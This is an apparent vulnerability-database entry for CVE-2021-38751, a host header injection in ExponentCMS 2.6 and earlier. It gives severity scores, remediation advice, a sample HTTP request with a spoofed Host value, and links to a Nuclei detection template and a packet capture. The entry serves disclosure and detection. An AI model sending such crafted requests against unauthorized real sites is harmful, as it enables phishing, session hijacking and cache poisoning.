| Title | ExponentCMS <= 2.6 - Host Header Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Medium |
| Impact | An attacker can manipulate the Host header to perform various attacks, including phishing, session hijacking, and cache poisoning. |
| Remediation | Upgrade ExponentCMS to a version higher than 2.6 or apply the provided patch to fix the Host Header Injection vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.12877 |
| CVE ID | CVE-2021-38751 |
| CWE ID | CWE-116 |
| Tags | cve2021 cve exponentcms vuln |
An HTTP Host header attack exists in ExponentCMS 2.6 and below in /exponent_constants.php. A modified HTTP header can change links on the webpage to an arbitrary value,leading to a possible attack vector for MITM.
GET / HTTP/1.1
Host: 38FMSiefFl7hSceL8VmHTbmgQM6.tld
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38751.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-38751.pcap
N/AN/A